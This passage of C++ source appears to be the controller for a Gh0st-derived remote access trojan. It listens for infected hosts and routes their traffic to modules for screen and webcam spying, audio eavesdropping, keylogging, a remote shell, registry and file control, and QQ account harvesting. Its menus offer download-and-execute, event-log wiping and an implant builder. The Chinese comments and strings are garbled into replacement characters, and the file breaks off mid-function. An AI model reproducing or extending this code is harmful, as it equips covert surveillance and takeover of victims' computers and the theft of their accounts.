//<2F>ж<EFBFBD><D0B6><EFBFBD><EFBFBD><EFBFBD>m_iocpServerȫ<72>ֱ<EFBFBD><D6B1><EFBFBD><EFBFBD>Ƿ<EFBFBD><C7B7>Ѿ<EFBFBD>ָ<EFBFBD><D6B8><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>CIOCPServer
|
||
if (m_iocpServer != NULL)
|
||
{
|
||
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǵĻ<C7B5><C4BB><EFBFBD><EFBFBD><EFBFBD>Ҫ<EFBFBD>ȹر<C8B9><D8B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ɾ<EFBFBD><C9BE><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>CIOCPServer<65><72>ռ<EFBFBD><D5BC><EFBFBD>ڴ<EFBFBD><DAB4>ռ<EFBFBD>
|
||
m_iocpServer->Shutdown();
|
||
delete m_iocpServer;
|
||
}
|
||
m_iocpServer = new CIOCPServer;
|
||
|
||
|
||
// <20><>ʼ<EFBFBD><CABC><EFBFBD><EFBFBD>
|
||
m_iocpServer->m_nHeartBeatTime = ((CGh0stApp *)AfxGetApp())->m_IniFile.GetInt("Settings", "HeartBeatTime", 0);
|
||
|
||
|
||
CString str,IP;
|
||
|
||
// <20><><EFBFBD><EFBFBD>IPCP<43><50><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||
if (m_iocpServer->Initialize(NotifyProc, nMaxConnections, nPort))
|
||
{
|
||
char hostname[256];
|
||
gethostname(hostname, sizeof(hostname));
|
||
HOSTENT *host = gethostbyname(hostname);
|
||
if (host != NULL)
|
||
{
|
||
for ( int i=0; ; i++ )
|
||
{
|
||
IP += inet_ntoa(*(IN_ADDR*)host->h_addr_list[i]);
|
||
if ( host->h_addr_list[i] + host->h_length >= host->h_name )
|
||
break;
|
||
IP += "/";
|
||
}
|
||
}
|
||
else
|
||
IP = _T("127.0.0.1");
|
||
|
||
str.Format("<EFBFBD>˿<EFBFBD>:%d",nPort);
|
||
m_wndStatusBar.SetPaneText(3, str);
|
||
CString strLogText,strlogData;
|
||
strLogText.Format( "ϵͳ<EFBFBD>ɹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> -> <20><><EFBFBD><EFBFBD><EFBFBD>˿<EFBFBD>: [ %d ]", nPort );
|
||
g_pLogView->InsertLogItem( strLogText, 0, 1 );
|
||
strlogData.Format( "<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѧϰ<EFBFBD><EFBFBD><EFBFBD>簲ȫ<EFBFBD><EFBFBD><EFBFBD>벻Ҫ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ɣ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>и<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ԭ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ء<EFBFBD>");
|
||
g_pLogView->InsertLogItem( strlogData, 0, 0 );
|
||
|
||
}
|
||
else
|
||
{
|
||
IP.Format(_T("<EFBFBD>˿<EFBFBD> %d <20><><EFBFBD><EFBFBD>ʧ<EFBFBD><CAA7>"), nPort);
|
||
m_wndStatusBar.SetPaneText(3, "<EFBFBD>˿<EFBFBD>:0");
|
||
g_pLogView->InsertLogItem( IP, 0, 2 );
|
||
|
||
}
|
||
|
||
// CString date=Datetime;
|
||
// SetWindowText("Gh0st1.0 [BUILD:20160821] "+IP+" [<5B><>ǰ<EFBFBD>ʺ<EFBFBD>:"+LoginUserName+" <20><><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1>:"+date.Mid(0,8)+"]");
|
||
// m_wndStatusBar.SetPaneText(0, _T("<22><><EFBFBD><EFBFBD>: 0"));
|
||
}
|
||
|
||
void CALLBACK CMainFrame::NotifyProc( ClientContext *pContext, UINT nCode)
|
||
{
|
||
|
||
|
||
|
||
switch (nCode)
|
||
{
|
||
case NC_CLIENT_CONNECT:
|
||
break;
|
||
case NC_CLIENT_DISCONNECT:
|
||
g_pFrame->PostMessage(WM_REMOVEFROMLIST, 0, (LPARAM)pContext);
|
||
break;
|
||
case NC_TRANSMIT:
|
||
break;
|
||
case NC_RECEIVE:
|
||
ProcessReceive(pContext);
|
||
break;
|
||
case NC_RECEIVE_COMPLETE:
|
||
ProcessReceiveComplete(pContext);
|
||
break;
|
||
default:
|
||
break;
|
||
}
|
||
}
|
||
|
||
void CMainFrame::ProcessReceiveComplete(ClientContext *pContext)
|
||
{
|
||
if (pContext == NULL)
|
||
return;
|
||
|
||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ի<EFBFBD><D4BB><EFBFBD><EFBFBD><EFBFBD><F2BFAAA3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ӧ<EFBFBD>ĶԻ<C4B6><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||
CDialog *dlg = (CDialog *)pContext->m_Dialog[1];
|
||
|
||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڴ<EFBFBD><DAB4><EFBFBD>
|
||
if (pContext->m_Dialog[0] > 0)
|
||
{
|
||
switch (pContext->m_Dialog[0])
|
||
{
|
||
case FILEMANAGER_DLG:
|
||
((CFileManagerDlg *)dlg)->OnReceiveComplete();
|
||
break;
|
||
case SCREENSPY_DLG:
|
||
((CScreenSpyDlg *)dlg)->OnReceiveComplete();
|
||
break;
|
||
case SHELL_DLG:
|
||
((CShellDlg *)dlg)->OnReceiveComplete();
|
||
break;
|
||
case WEBCAM_DLG:
|
||
((CWebCamDlg *)dlg)->OnReceiveComplete();
|
||
break;
|
||
case AUDIO_DLG:
|
||
((CAudioDlg *)dlg)->OnReceiveComplete();
|
||
break;
|
||
case SYSTEM_DLG:
|
||
((CSystemDlg *)dlg)->OnReceiveComplete();
|
||
break;
|
||
case KEYBOARD_DLG:
|
||
((CKeyBoardDlg *)dlg)->OnReceiveComplete();
|
||
break;
|
||
case SERVICE_DLG:
|
||
((CServiceDlg *)dlg)->OnReceiveComplete();
|
||
break;
|
||
case REGEDIT_DLG:
|
||
((CRegeditDlg *)dlg)->OnReceiveComplete();
|
||
break;
|
||
case CHAT_DLG:
|
||
((CTextChatDlg *)dlg)->OnReceiveComplete();
|
||
break;
|
||
case PROXYMAP_DLG:
|
||
((CProxyMapDlg *)dlg)->OnReceiveComplete();
|
||
break;
|
||
case GETDAT_DLG:
|
||
((CMydat *)dlg)->OnReceiveComplete();//<2F><><EFBFBD>ӹ<EFBFBD><D3B9><EFBFBD>
|
||
break;
|
||
default:
|
||
break;
|
||
}
|
||
return;
|
||
}
|
||
|
||
switch (pContext->m_DeCompressionBuffer.GetBuffer(0)[0])
|
||
{
|
||
case TOKEN_LOGIN: // <20><><EFBFBD>߰<EFBFBD>
|
||
{
|
||
pContext->m_bIsMainSocket = TRUE;
|
||
g_pTabView->PostMessage(WM_ADDFINDGROUP, 0, (LPARAM)pContext);
|
||
}
|
||
break;
|
||
case TOKEN_DRIVE_LIST: // <20>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD>
|
||
// ָ<>ӵ<EFBFBD><D3B5><EFBFBD>public<69><63><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ģ̬<C4A3>Ի<EFBFBD><D4BB><EFBFBD><EFBFBD><EFBFBD>ʧȥ<CAA7><C8A5>Ӧ<EFBFBD><D3A6> <20><>֪<EFBFBD><D6AA><EFBFBD><EFBFBD>ô<EFBFBD><C3B4><EFBFBD><EFBFBD>,̫<><CCAB>
|
||
g_pFrame->PostMessage(WM_OPENMANAGERDIALOG, 0, (LPARAM)pContext);
|
||
break;
|
||
case TOKEN_BITMAPINFO: // <20><>Ļ<EFBFBD>鿴
|
||
g_pFrame->PostMessage(WM_OPENSCREENSPYDIALOG, 0, (LPARAM)pContext);
|
||
break;
|
||
case TOKEN_WEBCAM_BITMAPINFO: // <20><><EFBFBD><EFBFBD>ͷ
|
||
g_pFrame->PostMessage(WM_OPENWEBCAMDIALOG, 0, (LPARAM)pContext);
|
||
break;
|
||
case TOKEN_AUDIO_START: // <20><><EFBFBD><EFBFBD>
|
||
g_pFrame->PostMessage(WM_OPENAUDIODIALOG, 0, (LPARAM)pContext);
|
||
break;
|
||
case TOKEN_SHELL_START: //<2F><>ʼCMD
|
||
g_pFrame->PostMessage(WM_OPENSHELLDIALOG, 0, (LPARAM)pContext);
|
||
break;
|
||
case TOKEN_PSLIST: // ϵͳ<CFB5><CDB3><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD>
|
||
g_pFrame->PostMessage(WM_OPENPSLISTDIALOG, 0, (LPARAM)pContext);
|
||
break;
|
||
case TOKEN_FIND_YES: // ɸѡ<C9B8><D1A1><EFBFBD><EFBFBD>
|
||
g_pFrame->PostMessage(WM_MODIFYLIST, 0, (LPARAM)pContext);
|
||
break;
|
||
case TOKEN_DLLINFO:
|
||
g_pFrame->PostMessage(WM_OPENBUILDDIALOG, 0, (LPARAM)pContext);
|
||
break;
|
||
case TOKEN_KEYBOARD_START:
|
||
g_pFrame->PostMessage(WM_OPENKEYBOARDDIALOG, 0, (LPARAM)pContext);
|
||
break;
|
||
case TOKEN_SERVICE_LIST:
|
||
g_pFrame->PostMessage(WM_OPENSERVICEDIALOG, 0, (LPARAM)pContext);
|
||
break;
|
||
case TOKEN_REGEDIT: //ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||
g_pFrame->PostMessage(WM_OPENREGEDITDIALOG, 0, (LPARAM)pContext);
|
||
break;
|
||
case TOKEN_TEXTCHAT_START:
|
||
g_pFrame->PostMessage(WM_OPENTEXTCHATDIALOG, 0, (LPARAM)pContext);
|
||
break;
|
||
case TOKEN_PROXY_START:
|
||
g_pFrame->PostMessage(WM_OPENPROXYMAPDIALOG, 0, (LPARAM)pContext);
|
||
break;
|
||
case TOKEN_CHAT_START:
|
||
g_pFrame->PostMessage(WM_OPENCHATDIALOG, 0, (LPARAM)pContext);
|
||
break;
|
||
case TOKEN_GETQQNUM:
|
||
g_pFrame->PostMessage(WM_WRITEQQNUM, 0, (LPARAM)pContext);
|
||
break;
|
||
case TOKEN_SHOWQQ:
|
||
{
|
||
OutputDebugString("<EFBFBD><EFBFBD><EFBFBD><EFBFBD>TOKEN_SHOWQQ");
|
||
g_pFrame->PostMessage(WM_OPENPQQBOXDIALOG, 0, (LPARAM)pContext);
|
||
|
||
/*
|
||
CString str = pContext->m_DeCompressionBuffer.GetBuffer(1);
|
||
AfxMessageBox(str);*/
|
||
}
|
||
break;
|
||
case TOKEN_RECV_QQ:
|
||
{
|
||
OutputDebugString("<EFBFBD><EFBFBD><EFBFBD><EFBFBD>QQ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>:");
|
||
CString str = "QQ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>: ";
|
||
str += (char *)pContext->m_DeCompressionBuffer.GetBuffer(1);
|
||
g_pLogView->InsertLogItem(str, 0, 0 );
|
||
}
|
||
break;
|
||
default:
|
||
closesocket(pContext->m_Socket);
|
||
break;
|
||
}
|
||
}
|
||
|
||
|
||
// <20><>Ҫ<EFBFBD><D2AA>ʾ<EFBFBD><CABE><EFBFBD>ȵĴ<C8B5><C4B4><EFBFBD>
|
||
void CMainFrame::ProcessReceive(ClientContext *pContext)
|
||
{
|
||
if (pContext == NULL)
|
||
return;
|
||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ի<EFBFBD><D4BB><EFBFBD><EFBFBD><EFBFBD><F2BFAAA3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ӧ<EFBFBD>ĶԻ<C4B6><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||
CDialog *dlg = (CDialog *)pContext->m_Dialog[1];
|
||
|
||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڴ<EFBFBD><DAB4><EFBFBD>
|
||
if (pContext->m_Dialog[0] > 0)
|
||
{
|
||
switch (pContext->m_Dialog[0])
|
||
{
|
||
case SCREENSPY_DLG:
|
||
((CScreenSpyDlg *)dlg)->OnReceive();
|
||
break;
|
||
case WEBCAM_DLG:
|
||
((CWebCamDlg *)dlg)->OnReceive();
|
||
break;
|
||
default:
|
||
break;
|
||
}
|
||
return;
|
||
}
|
||
}
|
||
|
||
void CMainFrame::ShowToolTips(LPCTSTR lpszText)
|
||
{
|
||
m_TrayIcon.ShowBalloonTip( lpszText, _T("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ: "), NIIF_INFO, 10);
|
||
}
|
||
|
||
void CMainFrame::LoadIcons() //<2F>Ҽ<EFBFBD><D2BC>˵<EFBFBD><CBB5><EFBFBD>ʾͼ<CABE><CDBC>
|
||
{
|
||
CXTPCommandBars* pCommandBars = GetCommandBars();
|
||
|
||
UINT uiGroupFind[] = {ID_MENUITEM_FILEMANAGER,ID_MENUITEM_SCREENSPY,ID_MENUITEM_KEYBOARD,ID_MENUITEM_REMOTESHELL,ID_MENUITEM_SYSTEM,ID_MENUITEM_WEBCAM,ID_MENUITEM_AUDIO_LISTEN,ID_MENUITEM_REGEDIT,
|
||
ID_MENUITEM_SERVICEMANAGER, ID_MENUITEM_TEXT_CHAT,IDM_CHAT
|
||
};
|
||
UINT uiGroupFind2[] = {ID_MENUITEM_LOGOFF,ID_MENUITEM_REBOOT,ID_MENUITEM_SHUTDOWN,ID_MENUITEM_UNINSTALL,ID_MENUITEM_PROXY,ID_MENUITEM_PROXY_MAP,ID_MENUITEM_PRANK,ID_MENUITEM_MESSAGEBOX,ID_MENUITEM_SELECT_ALL,ID_MENUITEM_UNSELECT_ALL
|
||
};
|
||
UINT uiGroupFind3[] = {ID_MENUITEM_FIND_PROCESS,ID_MENUITEM_FIND_WINDOW,ID_MENUITEM_CLEAN_FIND,ID_MENUITEM_OPEN_URL_HIDE,ID_MENUITEM_OPEN_URL_SHOW,ID_MENUITEM_REMARK,IDM_POPUP1,IDM_POPUP2,IDM_POPUP3,IDM_POPUP4
|
||
,ID_MENUITEM_COPY_ALL,ID_MENUITEM_SAVE_IPLIST,IDM_SETCOLOR};
|
||
UINT uiGroupFind4[] = {ID_MENUITEM_CHANGE_GROUP,ID_MENUITEM_COPY_IP,ID_MENUITEM_COPY_ALL,ID_MENUITEM_SAVE_IPLIST};
|
||
UINT uiGroupFind5[] = {ID_MENUITEM_LOCAL_UPLOAD,ID_MENUITEM_DOWNEXEC,ID_MENUITEM_UPDATE_SERVER,ID_MENUITEM_CLEANEVENT_ALL,ID_MENUITEM_CLEANEVENT_SYS,ID_MENUITEM_CLEANEVENT_SECURITY,ID_MENUITEM_CLEANEVENT_APP
|
||
};
|
||
UINT uiGroupFind6[] = {0,IDM_EVENT_DELETE,IDM_ALL_DELETE,IDM_EVENT_SAVE,IDM_EVENT_COPY}; //<2F><>־<EFBFBD><D6BE><EFBFBD><EFBFBD>
|
||
pCommandBars->GetImageManager()->SetIcons(IDB_MENU, uiGroupFind, _countof(uiGroupFind), CSize(16, 16));
|
||
pCommandBars->GetImageManager()->SetIcons(IDB_MENU2, uiGroupFind2, _countof(uiGroupFind2), CSize(16, 16));
|
||
pCommandBars->GetImageManager()->SetIcons(IDB_MENU3, uiGroupFind3, _countof(uiGroupFind3), CSize(16, 16));
|
||
pCommandBars->GetImageManager()->SetIcons(IDB_MENU4, uiGroupFind4, _countof(uiGroupFind4), CSize(16, 16));
|
||
pCommandBars->GetImageManager()->SetIcons(IDB_MENU5, uiGroupFind5, _countof(uiGroupFind5), CSize(16, 16));
|
||
pCommandBars->GetImageManager()->SetIcons(IDB_MENU6, uiGroupFind6, _countof(uiGroupFind6), CSize(16, 16));
|
||
|
||
}
|
||
void CMainFrame::ShowConnectionsNumber()
|
||
{
|
||
CString str,strTemp;
|
||
|
||
int a = 0;
|
||
CPcView* pView = NULL;
|
||
int count = g_pTabView->m_wndTabControl.GetItemCount();
|
||
for (int i = 0; i < count; i++)
|
||
{
|
||
pView = DYNAMIC_DOWNCAST(CPcView, CWnd::FromHandle(g_pTabView->m_wndTabControl.GetItem(i)->GetHandle()));
|
||
a += pView->m_pListCtrl->GetItemCount();
|
||
}
|
||
|
||
//strTemp.Format(_T("<22><><EFBFBD><EFBFBD>: %d"), a);
|
||
strTemp.Format(_T("->(<28>ϼ<EFBFBD>: %d̨)"), a);
|
||
|
||
str.Format(_T("NT:%d Win2000:%d Xp:%d Win2003:%d Vista:%d Win2008:%d Win7:%d Win8:%d Win2012:%d Win10:%d %s"),
|
||
nOSCount[0],
|
||
nOSCount[1],
|
||
nOSCount[2],
|
||
nOSCount[3],
|
||
nOSCount[4],
|
||
nOSCount[5],
|
||
nOSCount[6],
|
||
nOSCount[7],
|
||
nOSCount[8],
|
||
nOSCount[9],
|
||
strTemp);
|
||
m_wndStatusBar.SetPaneText(0, str);
|
||
|
||
UpdateData();
|
||
|
||
g_pFrame->m_TrayIcon.SetTooltipText(strTemp);
|
||
}
|
||
|
||
void CMainFrame::OnCustomize()
|
||
{
|
||
// get a pointer to the command bars object.
|
||
CXTPCommandBars* pCommandBars = GetCommandBars();
|
||
if (pCommandBars == NULL)
|
||
return;
|
||
|
||
// instanciate the customize dialog
|
||
CXTPCustomizeSheet dlg(pCommandBars);
|
||
|
||
// add the options page to the customize dialog.
|
||
CXTPCustomizeOptionsPage pageOptions(&dlg);
|
||
dlg.AddPage(&pageOptions);
|
||
|
||
// add the commands page to the customize dialog.
|
||
CXTPCustomizeCommandsPage* pPageCommands = dlg.GetCommandsPage();
|
||
pPageCommands->AddCategories(IDR_MAINFRAME);
|
||
|
||
// initialize the commands page page.
|
||
pPageCommands->InsertAllCommandsCategory();
|
||
pPageCommands->InsertBuiltInMenus(IDR_MAINFRAME);
|
||
pPageCommands->InsertNewMenuCategory();
|
||
|
||
// display the customize dialog.
|
||
dlg.DoModal();
|
||
}
|
||
|
||
void CMainFrame::OnSysCommand(UINT nID, LPARAM lParam)
|
||
{
|
||
if (nID == SC_MINIMIZE)
|
||
{
|
||
m_TrayIcon.MinimizeToTray(this);
|
||
m_TrayIcon.ShowBalloonTip( _T("<EFBFBD><EFBFBD>С<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>......"), _T("Alien ET 1.0"), NIIF_NONE, 10);
|
||
}
|
||
else
|
||
{
|
||
CXTPFrameWnd::OnSysCommand(nID, lParam);
|
||
}
|
||
}
|
||
|
||
void CMainFrame::OnMenuitemShow()
|
||
{
|
||
// TODO: Add your command handler code here
|
||
if (!IsWindowVisible()){
|
||
m_TrayIcon.MaximizeFromTray(this);
|
||
}else
|
||
m_TrayIcon.MinimizeToTray(this);
|
||
}
|
||
|
||
void CMainFrame::OnMenuitemHide()
|
||
{
|
||
// TODO: Add your command handler code here
|
||
m_TrayIcon.MinimizeToTray(this);
|
||
}
|
||
|
||
void CMainFrame::OnClose()
|
||
{
|
||
// TODO: Add your message handler code here and/or call default
|
||
#ifdef NDEBUG
|
||
if (MessageBox(_T("ȷ<EFBFBD><EFBFBD><EFBFBD>˳<EFBFBD>?"), _T("<EFBFBD><EFBFBD>ʾ"), MB_YESNO | MB_ICONQUESTION) == IDNO)
|
||
return;
|
||
#endif
|
||
|
||
KillTimer(0); //<2F>رն<D8B1>ʱ<EFBFBD><CAB1>
|
||
|
||
RECT rect;
|
||
::GetWindowRect(GetSafeHwnd(),&rect);
|
||
((CGh0stApp *)AfxGetApp())->m_IniFile.SetInt("Alien", "Width", rect.right - rect.left);
|
||
((CGh0stApp *)AfxGetApp())->m_IniFile.SetInt("Alien", "Hight", rect.bottom - rect.top);
|
||
|
||
CMainFrame* pMainFrame = (CMainFrame*)AfxGetMainWnd();
|
||
SaveCommandBars(_T("CommandBars"));
|
||
pMainFrame->m_TrayIcon.RemoveIcon();
|
||
|
||
if (NULL!=m_iocpServer)
|
||
{
|
||
m_iocpServer->Shutdown();
|
||
delete m_iocpServer;
|
||
}
|
||
|
||
CXTPFrameWnd::OnClose();
|
||
}
|
||
|
||
|
||
|
||
int CMainFrame::OnCreateControl(LPCREATECONTROLSTRUCT lpCreateControl)
|
||
{
|
||
if (lpCreateControl->bToolBar == FALSE)
|
||
{
|
||
if (lpCreateControl->controlType == xtpControlPopup && lpCreateControl->strCaption == _T("<EFBFBD><EFBFBD>ǿ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>(&I)"))
|
||
{
|
||
if (lpCreateControl->nID != IDM_POPUP1)
|
||
{
|
||
lpCreateControl->controlType = xtpControlPopup;
|
||
lpCreateControl->buttonStyle = xtpButtonIconAndCaption;
|
||
lpCreateControl->nID = IDM_POPUP1;
|
||
}
|
||
return TRUE;
|
||
}
|
||
if (lpCreateControl->controlType == xtpControlPopup && lpCreateControl->strCaption == _T("<EFBFBD>Ự<EFBFBD><EFBFBD><EFBFBD><EFBFBD>(&S)"))
|
||
{
|
||
if (lpCreateControl->nID != IDM_POPUP2)
|
||
{
|
||
lpCreateControl->controlType = xtpControlPopup;
|
||
lpCreateControl->buttonStyle = xtpButtonIconAndCaption;
|
||
lpCreateControl->nID = IDM_POPUP2;
|
||
}
|
||
return TRUE;
|
||
}
|
||
if (lpCreateControl->controlType == xtpControlPopup && lpCreateControl->strCaption == _T("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>(&O)"))
|
||
{
|
||
if (lpCreateControl->nID != IDM_POPUP3)
|
||
{
|
||
lpCreateControl->controlType = xtpControlPopup;
|
||
lpCreateControl->buttonStyle = xtpButtonIconAndCaption;
|
||
lpCreateControl->nID = IDM_POPUP3;
|
||
}
|
||
return TRUE;
|
||
}
|
||
if (lpCreateControl->controlType == xtpControlPopup && lpCreateControl->strCaption == _T("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>־(&C)"))
|
||
{
|
||
if (lpCreateControl->nID != IDM_POPUP4)
|
||
{
|
||
lpCreateControl->controlType = xtpControlPopup;
|
||
lpCreateControl->buttonStyle = xtpButtonIconAndCaption;
|
||
lpCreateControl->nID = IDM_POPUP4;
|
||
}
|
||
return TRUE;
|
||
}
|
||
/* if (lpCreateControl->controlType == xtpControlPopup && lpCreateControl->strCaption == _T("<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>(&C)"))
|
||
{
|
||
if (lpCreateControl->nID != IDM_POPUP5)
|
||
{
|
||
lpCreateControl->controlType = xtpControlPopup;
|
||
lpCreateControl->buttonStyle = xtpButtonIconAndCaption;
|
||
lpCreateControl->nID = IDM_POPUP5;
|
||
}
|
||
return TRUE;
|
||
}*/
|
||
}
|
||
|
||
return FALSE;
|
||
}
|
||
|
||
|
||
void CMainFrame::OnTools()
|
||
{
|
||
// TODO: Add your command handler code here
|
||
CMyToolsKit dlg;
|
||
dlg.DoModal();
|
||
}
|
||
|
||
void CMainFrame::OnMenuitemSetting()
|
||
{
|
||
// TODO: Add your command handler code here
|
||
CSettingDlg dlg;
|
||
dlg.DoModal();
|
||
}
|
||
|
||
void CMainFrame::OnMenuitemBuild()
|
||
{
|
||
// TODO: Add your command handler code here
|
||
CBuild dlg;
|
||
dlg.DoModal();
|
||
}
|
||
|
||
/////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||
|
||
LRESULT CMainFrame::OnRemoveFromList(WPARAM wParam, LPARAM lParam)
|
||
{
|
||
ClientContext *pContext = (ClientContext *)lParam;
|
||
if (pContext == NULL)
|
||
return -1;
|
||
|
||
|
||
if (!pContext->m_bIsMainSocket)
|
||
{
|
||
// <20>ر<EFBFBD><D8B1><EFBFBD><EFBFBD>ش<EFBFBD><D8B4><EFBFBD>
|
||
switch (pContext->m_Dialog[0])
|
||
{
|
||
case FILEMANAGER_DLG:
|
||
case SCREENSPY_DLG:
|
||
case SHELL_DLG:
|
||
case WEBCAM_DLG:
|
||
case AUDIO_DLG:
|
||
case SYSTEM_DLG:
|
||
case KEYBOARD_DLG:
|
||
case SERVICE_DLG:
|
||
case REGEDIT_DLG:
|
||
case CHAT_DLG:
|
||
case PROXYMAP_DLG:
|
||
((CDialog*)pContext->m_Dialog[1])->DestroyWindow();
|
||
break;
|
||
default:
|
||
break;
|
||
}
|
||
return 1;
|
||
}
|
||
|
||
CPcView* pView = NULL;
|
||
CString strOSCount;
|
||
int nTabs = g_pTabView->m_wndTabControl.GetItemCount();
|
||
bool bIsOk = false;
|
||
for (int n = 0; n < nTabs; n++ )
|
||
{
|
||
pView = DYNAMIC_DOWNCAST(CPcView, CWnd::FromHandle(g_pTabView->m_wndTabControl.GetItem(n)->GetHandle()));
|
||
// ɾ<><C9BE><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>п<EFBFBD><D0BF>ܻ<EFBFBD>ɾ<EFBFBD><C9BE>Context
|
||
try
|
||
{
|
||
if (pContext->m_bIsMainSocket)
|
||
{
|
||
int nCnt = pView->m_pListCtrl->GetItemCount();
|
||
for (int i=0; i < nCnt; i++)
|
||
{
|
||
if (pContext == (ClientContext *)pView->m_pListCtrl->GetItemData(i))
|
||
{
|
||
CString strLogText,strTemp,strGroupName;
|
||
|
||
strTemp = g_pTabView->m_wndTabControl.GetItem(n)->GetCaption();
|
||
int n = strTemp.ReverseFind('(');
|
||
if ( n > 0 )
|
||
{
|
||
strGroupName = strTemp.Left(n);
|
||
}
|
||
else
|
||
{
|
||
strGroupName = strTemp;
|
||
}
|
||
|
||
strLogText.Format(("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>:[%s/%s] -> <20><><EFBFBD><EFBFBD>:[%s] -> <20><><EFBFBD><EFBFBD>:[%s]"),
|
||
pView->m_pListCtrl->GetItemText(i, 2), //<2F><><EFBFBD><EFBFBD>IP
|
||
pView->m_pListCtrl->GetItemText(i, 3), //<2F><><EFBFBD><EFBFBD>IP
|
||
strGroupName, //<2F><><EFBFBD>߷<EFBFBD><DFB7><EFBFBD>
|
||
pView->m_pListCtrl->GetItemText(i, 0)); //<2F><><EFBFBD><EFBFBD>λ<EFBFBD><CEBB>
|
||
g_pLogView->InsertLogItem( strLogText, 0, 2 );
|
||
|
||
|
||
bIsOk = true;
|
||
strOSCount = pView->m_pListCtrl->GetItemText( i, 5 );
|
||
if ( strOSCount.Find(_T("XP")) != -1 )
|
||
{
|
||
g_pFrame->nOSCount[2]--;
|
||
}else if ( strOSCount.Find(_T("Win 7")) != -1 )
|
||
{
|
||
g_pFrame->nOSCount[6]--;
|
||
}else if ( strOSCount.Find(_T("2003")) != -1 )
|
||
{
|
||
g_pFrame->nOSCount[3]--;
|
||
}else if ( strOSCount.Find(_T("Win 8")) != -1 )
|
||
{
|
||
g_pFrame->nOSCount[7]--;
|
||
}else if ( strOSCount.Find(_T("2008")) != -1 )
|
||
{
|
||
g_pFrame->nOSCount[5]--;
|
||
}else if ( strOSCount.Find(_T("Vista")) != -1 )
|
||
{
|
||
g_pFrame->nOSCount[4]--;
|
||
}else if ( strOSCount.Find(_T("2012")) != -1 )
|
||
{
|
||
g_pFrame->nOSCount[8]--;
|
||
}else if ( strOSCount.Find(_T("2000")) != -1 )
|
||
{
|
||
g_pFrame->nOSCount[1]--;
|
||
}else if ( strOSCount.Find(_T("NT")) != -1 )
|
||
{
|
||
g_pFrame->nOSCount[0]--;
|
||
}else if ( strOSCount.Find(_T("Win10")) != -1)
|
||
{
|
||
g_pFrame->nOSCount[9]--;
|
||
}
|
||
|
||
pView->m_pListCtrl->DeleteItem(i);
|
||
|
||
if (!((CGh0stApp *)AfxGetApp())->m_bIsWarning_Tone)
|
||
{
|
||
PlaySound(MAKEINTRESOURCE(IDR_WAVE_OFFLINE),AfxGetResourceHandle(),SND_ASYNC|SND_RESOURCE|SND_NODEFAULT);
|
||
}
|
||
|
||
break;
|
||
}
|
||
}
|
||
|
||
if(bIsOk == false)
|
||
TRACE("û<EFBFBD><EFBFBD><EFBFBD>ҵ<EFBFBD><EFBFBD><EFBFBD>");
|
||
}
|
||
}
|
||
catch(...)
|
||
{
|
||
TRACE("<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD><EFBFBD>");
|
||
}
|
||
}
|
||
|
||
// <20><><EFBFBD>µ<EFBFBD>ǰ<EFBFBD><C7B0><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||
g_pTabView->UpDateNumber();
|
||
ShowConnectionsNumber();
|
||
|
||
return 0;
|
||
}
|
||
|
||
LRESULT CMainFrame::OnOpenScreenSpyDialog(WPARAM wParam, LPARAM lParam)
|
||
{
|
||
ClientContext *pContext = (ClientContext *)lParam;
|
||
|
||
